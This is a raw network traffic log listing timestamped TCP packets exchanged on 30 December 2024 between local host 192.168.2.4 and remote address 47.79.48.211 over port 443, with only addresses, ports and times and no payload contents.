Dec 30, 2024 04:59:06.175302982 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.175309896 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.175348043 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.175371885 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.176206112 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.176222086 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.176264048 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.176279068 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.176753044 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.177148104 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.177165031 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.177194118 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.177210093 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.177218914 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.177243948 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.192455053 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.192471981 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.192542076 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.192542076 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.192555904 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.192574024 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.192596912 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.192604065 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.192625999 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.192629099 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.192636013 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.192643881 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.192665100 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.192668915 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.192698002 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.192703962 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.192713976 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.192733049 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.257730961 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.257755041 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.257812977 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.257822037 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.257857084 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.258280993 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.258296013 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.258331060 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.258338928 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.258348942 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.258371115 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.258629084 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.258644104 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.258670092 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.258677959 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.258699894 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.258713961 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.259742022 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.259757996 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.259794950 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.259802103 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.259824038 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.259843111 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.260755062 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.260768890 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.260812998 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.260819912 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.261168957 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.271290064 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.271305084 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.271359921 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.271370888 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.271522999 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.271522999 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.271548033 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.271563053 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.271599054 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.271605015 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.271625042 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.271641970 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.271925926 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.271943092 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.271981955 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.271987915 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.272006035 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.272021055 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.341552019 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.341567993 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.341625929 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.341653109 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.341658115 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.341671944 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.341706991 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.341737032 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.342164993 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.342180014 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.342232943 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.342238903 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.342261076 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.342273951 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.343153954 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.343168974 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.343224049 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.343230963 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.344335079 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.344353914 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.344403028 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.344408989 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.344425917 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.344455957 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.354906082 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.354919910 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.354984045 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.354995012 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.355123997 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.355140924 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.355175972 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.355184078 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.355206966 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.355228901 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.355458975 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.355473042 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.355514050 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.355520964 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.356755018 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.429202080 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.429217100 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.429265976 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.429285049 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.429294109 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.429358959 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.429362059 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.429371119 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.429383039 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.429397106 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.429434061 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.429440022 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.429475069 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.429656029 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.429673910 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.429701090 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.429708004 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.429729939 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.429737091 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.430177927 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.430193901 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.430224895 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.430231094 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.430258989 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.430269003 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.438472986 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.438488960 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.438554049 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.438561916 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.438604116 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.438642979 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.438661098 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.438708067 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.438715935 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.438726902 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.438790083 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.439022064 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.439038992 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.439071894 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.439079046 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.439107895 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.439130068 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.508930922 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.508945942 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.508985043 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.508995056 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.509037971 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.509037971 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.509172916 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.509187937 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.509227991 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.509236097 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.509264946 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.512444973 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.512459040 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.512531996 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.512540102 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.512576103 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.512667894 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.512682915 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.512717009 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.512723923 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.512748957 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.512772083 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.513125896 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.513139009 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.513185978 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.513194084 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.514818907 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.524271011 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.524286985 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.524333954 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.524342060 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.524374962 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.524677038 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.524697065 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.524724960 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.524730921 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.524759054 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.524768114 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.525388956 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.525403976 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.525443077 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.525449991 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.525475025 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.525485039 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.592480898 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.592497110 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.592533112 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.592540026 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.592578888 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.592863083 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.592884064 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.592912912 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.592919111 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.592941046 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.592955112 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.596013069 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.596029043 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.596069098 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.596076012 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.596132994 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.596478939 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.596492052 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.596527100 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.596534014 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.596541882 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.596561909 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.596869946 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.596884012 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.596918106 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.596924067 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.596956015 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.596962929 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.611480951 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.611495972 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.611526966 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.611535072 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.611560106 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.611572027 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.611676931 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.611690044 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.611715078 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.611720085 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.611748934 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.611748934 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.611807108 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.611819983 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.611846924 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.611852884 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.611875057 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.611881971 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.686964035 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.686979055 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.687017918 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.687027931 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.687053919 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.687072039 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.687660933 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.687678099 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.687715054 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.687726974 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.687793016 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.688173056 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.688194990 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.688224077 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.688230991 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.688263893 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.688263893 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.689371109 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.689385891 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.689425945 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.689434052 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.689466000 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.690592051 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.690607071 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.690638065 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.690644979 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.690675020 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.690687895 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.694169998 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.694186926 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.694228888 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.694236040 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.694262028 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.694283962 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.695317030 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.695331097 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.695380926 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.695389986 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.695399046 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.695427895 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.695518970 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.695533991 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.695564985 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.695571899 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.695595980 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.695609093 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.768800974 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.768822908 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.768857956 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.768868923 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.768903971 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.769247055 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.769263029 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.769299984 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.769305944 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.769330025 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.769349098 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.769933939 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.769948959 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.769998074 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.770004034 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.770045042 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.770977020 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.771003008 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.771039009 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.771045923 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.771059990 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.771092892 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.771816969 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.771833897 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.771876097 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.771887064 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.771918058 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.771938086 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.775769949 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.775784969 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.775826931 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.775834084 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.775859118 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.775877953 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.776761055 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.776777029 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.776819944 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.776828051 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.776874065 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.777120113 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.777142048 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.777173042 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.777179956 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.777208090 CET	49732	443	192.168.2.4	47.79.48.211
